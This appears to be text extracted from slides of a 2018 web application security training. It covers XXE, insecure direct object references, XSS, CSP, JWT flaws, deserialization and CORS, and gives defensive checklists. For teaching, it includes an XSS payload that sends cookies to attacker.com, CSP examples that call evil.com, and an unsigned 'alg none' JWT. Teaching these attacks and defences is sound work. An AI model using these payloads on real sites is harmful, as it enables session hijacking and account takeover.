Web frameworks help us solve a couple of security problems out-of-the-box, but in order to build web applications with a really high security level, there is still some work left.
not all o We’ll discuss vulnerability classes where your framework won’t help o Demos o You’ll get a “Developer’s Checklist” at the end of each vulnerability class • It‘s getting technical! (Finally) • Learn, share, get excited, discuss! • Start thinking like an attacker, and have fun with it! • Questions? Ask them right away! 2018 - SBA Research gGmbH
flaws out-of-the-box • Developer needs to do manual work o Partly wrong expectations (e.g., XSS and Template Engines) o Frameworks often provide the tools o CSRF token must be inserted manually • But the situation is better than without frameworks! 2018 - SBA Research gGmbH
(Spring OXM & Spring MVC) o 4.0.0.M1 (Spring OXM) o 4.0.0.M1-4.0.0.M2 (Spring MVC) • .NET o XmlTextReader o XMLDocument < 4.6 • iOS o iOS <= 4 • PHP o If libxml_disable_entity_loader isn’t used • And many more! 2018 - SBA Research gGmbH
o Disallow Document Type Definitions (also disallows DTD) o Disallow external Entities • Depends on parser library o All common ones have config options 2018 - SBA Research gGmbH
• If this isn‘t possible o Configure your XML parser to ignore the Doctype o Configure your XML parser to ignore external Entitites 2018 - SBA Research gGmbH
internal implementation objects o Files, directories, database entries, etc. … • Exploitable if these references can be manipulated • Attacker has access on content • IDs or paths are often manipulated 2018 - SBA Research gGmbH
via GET parameter: • No Verification of Access Control: • An attacker can enter any account number and subsequently see its details: http://www.victim.com/accountDetails?acc_nr=123 String accNr = request.getParameter("acc_nr"); PreparedStatement pstmt = connection.prepareStatement("[...]"); [...] http://www.victim.com/accountDetails?acc_nr=any_accoun t 2018 - SBA Research gGmbH
session specific object references o E.g. instead of using the primary key, use user- specific mapping, such as account numbers 1, 2, 3 map to primary keys 10, 12, 25 o Bad: – http://example.com?file=Report123.xls – http://example.com?file=1 o Better: – http://example.com?file=436345345 – http://example.com?file=157667344 • Check permissions for the page 2018 - SBA Research gGmbH
ID Description 1 Description 2 • Security-related acceptable solution • Enumeration of the available documents possible • Request example: http://app.at/download.j sp?DOC_ID=1056 • Security-related not acceptable • Request example: http://app.at/download.j sp?DOC_ID=1056 • Security-related not recommended • Access is possible if ID is known and the user is logged in • Request example: http://app.at/download.j sp?DOC_ID=f52fc055c48f30 7aa79532ec8caa9783 • Security-related best solution • Defensive programming • Request example: http://app.at/download.j sp?DOC_ID=f52fc055c48f30 7aa79532ec8caa9783 Authorization at file download 2018 - SBA Research gGmbH
in 2011 by insecure direct object reference • Course of the attack o Attacker logged in with a valid account into the customer area for credit card users o One parameter was incremented 10000x (Brute-force- attack) o This made it possible to see the accounts of other users o Data of these customers (Account number, email, payment history, etc.) got sold • (direct) damage: 217.000 credit cards were re-issued. Quelle: http://www.heise.de/security/meldung/Datenklau-bei-der-Citibank-gelang-durch-simple-URL-Manipulation-1260559.html 2018 - SBA Research gGmbH
that fulfil the following requirements o The request contains an ID that references an object (e.g., https://bank.com/account- details?nr=5837148) o Only the currently logged-in user or a limited set of users have access to that object – Bank accounts – Transaction details – Messages in a messenger – Orders in an online shop – Documents in a document management system 2018 - SBA Research gGmbH
accounts where the access rights to that object differ • Prepare a request for every user (with the corresponding session ID) • Exchange object IDs • See what happens! o Can see the object? 403? • If you don’t have another user account (because you’re doing a free pentest for someone else, which you shouldn’t) o Iterate over many possible values for the object ID 2018 - SBA Research gGmbH
following requirements o The request contains an ID that references an object (e.g., https://bank.com/account- details?nr=5837148) o Only the currently logged-in user or a limited set of users have access to that object • Implement strict access control for these requests! • Use UUIDs as object IDs as a second line of defense 2018 - SBA Research gGmbH
from the server to the browser o Without validating or escaping the output data • Example - error.jsp: • Normal case: http://www.example.com/error.php?msg=hello • Attacker: http://www.example.com/error.php?msg=<script>al ert(1)</script> <html><head></head><body> <% out.println(request.getParameter("message")); %> </body></html> 2018 - SBA Research gGmbH
without validation: • The application performs no output encoding • Input of the attacker: • When the article is viewed: Session-cookie is sent to attacker <script>document.location='http://www.attacker.com/a.php?p='+ document.cookie</script> String articleContent = request.getParameter("article_content"); [...] String query = "INSERT INTO article VALUES ([...], '" + articleContent + "' [...]"); 2018 - SBA Research gGmbH
a prepared URL to the victim 1. The victim logs on 7. The attacker takes over the victim’s session Attacker Victim Webapplication 3. The victim clicks on prepared URL 4. The server answers with the attacker’s JavaScript-code 5. JavaScript-code is interpreted by the victim’s browser 6. The victim’s browser sends the victim’s session-token to the attacker 2018 - SBA Research gGmbH
on 7. The attacker takes over the victim’s session Attacker Victim Webapplication 3. The victim requests the attacker’s message 4. The server answers with the attacker’s JavaScript-code 5. JavaScript-code is interpreted by the victim‘s browser 6. The victim’s browser sends the victim’s session-token to the attacker 1. The attacker stores malicious JavaScript-code embedded in a forum’s message in the webapplication’s database 2018 - SBA Research gGmbH
two tags: • Replace all symbols with a special meaning in HTML: o & --> & o < --> < o > --> > o " --> " o ' --> ' o / --> / – forward slash is included because it helps to end a HTML tag <body>UNTRUSTED_DATA</body> <div>UNTRUSTED_DATA</div> 2018 - SBA Research gGmbH
of attributes: • With correctly quoted strings, one can only break out with a quote o But quotes (or doublequotes) are often missing • Recommended transformation: o Except for alphanumeric characters, escape all characters less than 256 with the „Numeric Character Reference” &#xHH; (or a named entity if available) <div attr=UNTRUSTED_DATA>content</div> <div attr='UNTRUSTED_DATA'>content</div> <div attr="UNTRUSTED_DATA">content</div> 2018 - SBA Research gGmbH
JavaScript values: • No user input in places where code is directly executed • Recommended transformation: o Except for alphanumeric characters, escape all characters less than 256 with the \xHH format to prevent switching out of the data value into the script context or into another attribute. o Do not use any escaping shortcuts like \" because the quote character may be matched by the HTML attribute parser which runs first. <script>alert('UNTRUSTED_DATA')</script> <script>x='UNTRUSTED_DATA'</script> <div onmouseover="x='UNTRUSTED_DATA'"</div> 2018 - SBA Research gGmbH
• Which of these characters are dangerous? o User input gets inserted at [user-input] • In general only the " • But the following code is run by all modern browsers … • Reason: Fault tolerance is more important than strict JavaScript interpretation • Solution: Server has to do the output encoding correctly <script> var a="abc[user-input]def"; </script> <script> var a="abc</script><script>alert(1);</script>def"; </script> 2018 - SBA Research gGmbH
error- prone o Vulnerability in MySpace allowed for SamyWorm • Secure validation frameworks are available o DomPurify (JavaScript) o HTML Purifier (PHP) o AntiSamy (Java) 2018 - SBA Research gGmbH
right, it works really well o Frameworks (Template Engines) can do that o Often activated by default • The bad sides o Legacy websites don’t use template engines o Often a manual process o It can be done wrong o It is often done wrong 2018 - SBA Research gGmbH
for reducing XSS risk • Whitelist for dynamic resources Content-Security-Policy: script-src 'self' cdn.example.com <script src="//cdn.example.com/jquery.min.js"></script> <script src="/js/app.js"></script> <script src="http://evil.com/pwnage.js"></script> Refused to load the script 'http://evil.com/pwnage.js' because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com". 2018 - SBA Research gGmbH
Research gGmbH Content-Security-Policy: script-src 'self' cdn.example.com Refused to execute inline script because it violates the following Content Security Policy directive: "script-src 'self' cdn.example.com" <script>new Image('http://evil.com/?cookie=' + document.cookie);</script>
inline) • Content gets hashed and hash is defined as source Content-Security-Policy: default-src 'self'; script-src 'self' 'sha256-YWIzOW[...]3OAo=' <script>alert('Hello, world.');</script> <!– Works, hash matches content --> <script> alert('Hello, world.');</script> <!– Doesn’t work (see white space at the beginning)! --> 2018 - SBA Research gGmbH
Is generated for every page refresh • Static nonces are not only useless, but also dangerous! • Disables all other directives Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3' <script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"> alert("Allowed because nonce is valid.") </script> <script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3" src="https://elsewhere.com/allowed-because-nonce-is- valid.js"> </script> 2018 - SBA Research gGmbH
Level 2 [1] o Completely new formulated (simpler) o frame-src got undeprecated, child-src deprecated o report-uri is now report-to, Reporting- scheme was set to Reporting API 1 [2] (Draft) o manifest-src [3] was added o Much more detail improvements. 2018 - SBA Research gGmbH
based XSS via cached content (Nonce stays the same) o Insertion point directly before nonced script element – nonce='224446802'. For the browser, it looks like the nonce attribute of the injected script element o Predicting the nonce (bad randomness) o And many more <script src='//evil.com/a.js' foo=<script nonce='224446802'>console.log('nonced script')</script> 2018 - SBA Research gGmbH
2. Analyse, where dynamic ressources are coming from 3. Define directives one at a time 4. Start with Report-Only 5. Test very carefully, start with important modules 6. Activate it a) but keep report-uri! 7. Nonetheless, prevent XSS in your application! 2018 - SBA Research gGmbH
field using MVVM o Use a strict CSP o No unsafe-inline, no unsafe-eval 2018 - SBA Research gGmbH Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'none'; report-uri https://your-report-collector.example.com/
This behaves like o 'unsafe-inline' in CSP1 browsers (useless, but at least your application doesn‘t break) o https: 'nonce-[cspNonce]' in CSP2 browsers o 'nonce-[cspNonce]' 'strict-dynamic' in CSP3 browsers o See here for more details: https://csp.withgoogle.com/docs/strict-csp.html 2018 - SBA Research gGmbH Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' https: 'nonce-<?php echo $cspNonce; ?>' 'strict-dynamic'; base-uri 'none'; report-uri https://your-report-collector.example.com/
does automatic HTML output encoding! o Java: JSF o PHP: Twig (don‘t use Smarty) o .NET: Razor o MVVMs come with their own o ... • Do manual, context-sensitive output encoding in non-HTML situations o Most template engines support this o Especially important and widespread: Dynamic output of user input in JavaScript o But also: XML, CSS, CSV, ... 2018 - SBA Research gGmbH
with HTML input, but don‘t do it yourself o DomPurify (JavaScript, good one!) o HTML Purifier (PHP) o AntiSamy (Java) o ... • Don‘t do Kung Fu, avoid edge cases! o Don‘t generate HTML in controllers o Don‘t directly manipulate the DOM in MVVM o Stick to the recommendations of your framework • Think: Could I break out of the context here? 2018 - SBA Research gGmbH
Policy (CSP) as a second line of defense o This behaves like – 'unsafe-inline' in CSP1 browsers (useless, but at least your application doesn‘t break) – https: 'nonce-[cspNonce]' in CSP2 browsers – 'nonce-[cspNonce]' 'strict-dynamic' in CSP3 browsers 2018 - SBA Research gGmbH Content-Security-Policy: object-src 'none'; script-src 'unsafe-inline' https: 'nonce-[cspNonce]' 'strict-dynamic'; base-uri 'none'; report-uri https://your-report-collector.example.com/
in the password reset process (e.g. Sarah Palin email hack) • This functionality is interesting for hackers because it can be used anonymously • Common attack patterns o Enumeration of user accounts o Email account got hacked => Hacker can take over ALL accounts of the user, because the password can be reset via email – How secure is your smartphone? 2018 - SBA Research gGmbH
be transferred between two parties o Compact o URL-Safe • Claims are encoded as a JSON object • Additional Signature or Encryption • Specification: RFC7519 o https://tools.ietf.org/html/rfc7519 • JSON Web Token Structure: o Header: Type (typ), algorithm (alg) o Payload: JSON-Object, Contents (user name, roles) o Signature: Digital signature from the issuer 2018 - SBA Research gGmbH
user sessions! • There are many obvious and subtle reasons for that. • Assumption: JWT is used, so that no state has to be hold on the server (statelessness). 2018 - SBA Research gGmbH
security of the authentication is too strongly based on a single value, which the developers can choose by themselves and which has no technical enforced minimum requirements on the complexity: The JWT secret. 2018 - SBA Research gGmbH How secret and complex is this value really?
do what the alg field says! • Can you see the design problem? 2018 - SBA Research gGmbH eyJhbGciOiJub25lIn0.eyJ1c2VyIjp7ImlkIjo0 MiwibmFtZSI6IlBhdWwifX0. [Just leave the signature empty] { "alg": "none" }
asymmetric algorithms • JWT libraries have the following method: • verificationKey can be used in two ways: o Using HMAC: The secret HMAC key (a.k.a JWT secret) o Using RSA: The public key of the signature 2018 - SBA Research gGmbH verify(string token, string verificationKey)
key is per definition really public with asymmetric cryptography. • Attack vector o The server waits for a token, which is signed with RSA o The attacker changes the algorithm to HMAC o The server thinks, that the token is a symmetric key • Result o Everyone, who knows the public key, can send valid JWTs. 2018 - SBA Research gGmbH
is part of the token • The sender can choose the algorithm by himself! • The known attacks are based on this fact. 2018 - SBA Research gGmbH The sender can manipulate this
short-lived • The tokens are only used once • Symmetric secrets are only shared between two parties • The application uses sessions (but not with JWT!) • Ad JWT secret o The secret is really secret, complex and rotated regularly o Better: Asymmetric cryptography is used. 2018 - SBA Research gGmbH
Simple, random session IDs are so much more secure, flexible, and simple • Use it for SSO, that‘s what it‘s made for! o Simpler replacement for SAML • Use asymmetric crypto o To avoid the multiple-SP problem 2018 - SBA Research gGmbH
the attacker wanted, functionality (e.g. creating a file) based on the values of member variables o Attacker can change member variables • Vulnerable implementations are called “Gadgets” 2018 - SBA Research gGmbH
vulnerable class in the Classpath o Object get deserialized in any case o Attacker can choose class or library • Known libraries are only the tip of the iceberg! 2018 - SBA Research gGmbH
Remote Code Execution (e.g. Commons Collections) o Writing arbitrary files (e.g. Commons Fileupload) o Denial of Service o Everything is possible! 2018 - SBA Research gGmbH
of vulnerable libraries is increasing • Using a blacklist o A bypass could be possible • Sandbox during the deserialization o Execution can happen later (deferred Execution) 2018 - SBA Research gGmbH
o Search for code – ObjectInputStream.readObject() – ObjectInputStream.readUnshared() o where the InputStream comes from the user • Use other formats o JSON, XML, etc. • Patch Libraries with vulnerabilites! 2018 - SBA Research gGmbH
2014 o https://www.w3.org/TR/cors/ • CORS allows cross-origin requests in a controlled way o Before HTML5: Forbidden by the Same Origin Policy (Alternative: JSONP) • The target domain only has to define the following HTTP header HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://example.sld.tld 2018 - SBA Research gGmbH
a cross-origin request, when it loads a resource from a domain which is different to the original domain o Happens usually with pictures, CSS, and scripts o Browser restrict HTTP requests, which are started within a script (XMLHttpRequest) – They are only allowed to send scripts to the same domain (Same-Origin Policy) 2018 - SBA Research gGmbH
servers to read AJAX responses from other domains • Implementation is within the browser o Extends the Same-Origin policy with exceptions • For HTTP requests, which can have side effects o The browser has to send so called “Preflight” requests • Preflight – request o Is a HTTP OPTIONS request o The server asks, if the wanted CORS request is allowed 2018 - SBA Research gGmbH
preflight request in the browser • Have to fulfill the following requirements: o HTTP methode: GET or HEAD or POST – Why was POST allowed? It can cause side effects? – Because it was always possible (e.g. form with third-party domain as target and POST methode) o Doesn’t contain own HTTP headers o Content-Type: – application/x-www-form-urlencoded – multipart/form-data – text/plain 2018 - SBA Research gGmbH
code above trigger a Preflight request? o Own HTTP header ('X-PINGOTHER') is set o Content-Type "application/xml" var invocation = new XMLHttpRequest(); var url ='http://bar.other/resources/post-here/'; var body = <?xml version="1.0"?><person><name>Arun</name></person>'; function callOtherDomain(){ if(invocation) { invocation.open('POST', url, true); invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); invocation.setRequestHeader('Content-Type', 'application/xml'); invocation.onreadystatechange = handler; invocation.send(body); } } 2018 - SBA Research gGmbH JavaScript:
browsers automatically • Origin: <origin> o Defines the origin of a Cross-Site requests or Preflight request o Similar to Referer header but doesn’t contain paths • Access-Control-Request-Method: <method> o Part of the Preflight request o Lets the server know which HTTP methode are used by the actual request • Access-Control-Request-Headers o Part of the Preflight request o Lets the server know which HTTP header are attached to the actual request 2018 - SBA Research gGmbH
by the developer on the server-side • Access-Control-Allow-Origin: <origin> | * o Defines a URL, which is allowed to read the resource. The browser has to process this! o It’s possible in the header to allow one or all domains o Interconnection with caching: – Vary: Origin has to be set, when the wildcard host isn’t always used • Access-Control-Expose-Headers: X-My- Custom-Header, X-Another-Custom-Header o A whitelist of HTTP headers, which can be accessed via JavaScript • Access-Control-Max-Age: <delta-seconds> o Defines how long the result of a Preflight request is allowed to be saved 2018 - SBA Research gGmbH
Defines, if requests with credentials (Cookies or HTTP Basic Auth headers) are allowed • Access-Control-Allow-Methods: <method>[, <method>]* o Defines, which HTTP methods are allowed to access resources o Is sent as a response to Preflight requests • Access-Control-Allow-Headers: <field- name>[, <field-name>]* o Tells the browser, which HTTP header are allowed for accessing the resources o Is sent as a response to Preflight requests 2018 - SBA Research gGmbH
for access control o Can’t be faked by an attacker outside the browser • Only web applications with a unique Origin can use CORS securely o Origin HTTP header consists of schema, hostname and port o e.g. a web application example.org/app-name/ can’t be differentiated from other web applications, which also run on example.org 2018 - SBA Research gGmbH
for Preflight requests) not the request itself o Only the reading of the response o CSRF protection still needed • Only whitelisted domains in Access-Control- Allow-Origin 2018 - SBA Research gGmbH
reduce the impact of CSRF vulnerabilities, or make CSRF attack harder? • Answer: – I can’t start the attack anymore with AJAX, because no cookies (with session IDs) are attached. – It’s still possible via form and auto POST 2018 - SBA Research gGmbH
it! • Especially for authenticated APIs o Whitelist origins! o Don‘t do Access-Control-Allow-Origin: * – It isn‘t technically allowed anyway – This is only for public, read-only APIs (like, e.g., Wikipedia) • Use max-age for caching the info (preflighted requests take time) 2018 - SBA Research gGmbH
(personal account) Want more? Web Application Security Training @ SBA Research (or in your office?) Visit https://www.sba-research.org/ 2018 - SBA Research gGmbH